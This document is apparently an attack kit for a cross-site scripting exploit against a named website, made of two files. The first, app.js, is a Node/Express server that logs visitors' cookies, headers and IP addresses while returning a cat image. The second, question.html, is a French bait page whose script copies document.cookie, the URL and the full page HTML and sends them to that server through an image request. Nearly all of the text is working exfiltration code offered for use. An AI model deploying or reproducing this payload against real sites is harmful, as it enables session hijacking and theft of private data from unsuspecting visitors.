XSS on https://ontiques.co/

app.js

const fs = require('fs')
const express = require('express')
const app = express()

const cat = fs.readFileSync('osiris.jpg')

app.get('*', (req, res) => {
  const a = {
    headers: req.headers,
    baseUrl: req.baseUrl,
    body: req.body,
    cookies: req.cookies,
    fresh: req.fresh,
    hostname: req.hostname,
    ip: req.ip,
    ips: req.ips,
    method: req.method,
    originalUrl: req.originalUrl,
    params: req.params,
    path: req.path,
    protocol: req.protocol,
    query: req.query,
    route: req.route,
    secure: req.secure,
    signedCookies: req.signedCookies,
    stale: req.stale,
    subdomains: req.subdomains,
    xhr: req.xhr
  }
  console.info(`METHOD=${req.method} IP="${req.ip}" URL="${req.originalUrl}" COOKIES=${JSON.stringify(req.cookies)} HEADERS=${JSON.stringify(req.headers)} INFOS=${JSON.stringify(a)}`)
  res.type('jpg')
  res.end(cat)
})

const port = process.env.PORT || 3333
app.listen(port)

console.log('Started on port %d!', port)

question.html

J'avais une question de la plus haute importance.
Trouvez-vous ce chat mignon ?
<br><br>
<img id="MONCHAT" width="400" src="https://site/imagedechat.jpg" alt="Mon chat osiris">
<script>
  data = {
    cookie: document.cookie,
    location: document.location.href,
    doc: document,
    body: document.body.outerHTML,
    head: document.head.outerHTML
  }
  document.getElementById('MONCHAT').src = `https://site/imagedechat.jpg?data=${escape(JSON.stringify(data))}`
</script>